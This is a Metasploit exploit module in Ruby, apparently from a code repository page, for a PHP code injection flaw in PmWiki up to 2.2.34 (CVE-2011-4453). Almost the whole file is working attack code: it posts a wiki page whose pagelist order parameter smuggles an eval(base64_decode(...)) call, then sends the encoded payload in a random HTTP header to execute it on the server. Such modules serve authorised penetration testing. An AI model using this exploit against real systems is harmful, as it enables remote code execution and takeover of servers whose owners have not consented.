sinn3r
c174e6a208
normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again.
105 lines
2.6 KiB
Ruby
105 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'PmWiki <= 2.2.34 pagelist.php Remote PHP Code Injection Exploit',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability
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in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
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inside /scripts/pagelist.php.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'EgiX', # Vulnerability discovery and exploit
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'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
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],
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'References' =>
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[
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['CVE', '2011-4453'],
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['BID', '50776'],
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['OSVDB', '77261'],
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['EDB', '18149'],
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['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Keys' => ['php'],
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'Space' => 4000,
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'DisableNops' => true,
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [['Automatic',{}]],
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'DisclosureDate' => 'Nov 09 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
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],self.class)
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end
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def check
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uri = normalize_uri(datastore['URI'])
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uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'
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res = send_request_raw(
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{
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'uri' => uri
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}, 25)
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if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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p = Rex::Text.encode_base64(payload.encoded)
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header = rand_text_alpha_upper(3)
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header_append = rand_text_alpha_upper(4)
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uri = normalize_uri(datastore['URI'], "pmwiki.php")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'vars_post' =>
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{
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'action' => 'edit',
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'post' => 'save',
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'n' => "#{header}.#{header_append}",
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'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
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}
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}, 25)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'headers' =>
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{
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header => p,
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'Connection' => 'Close',
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},
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'vars_post' =>
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{
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'n' => "#{header}.#{header_append}",
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}
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}, 25)
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end
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end
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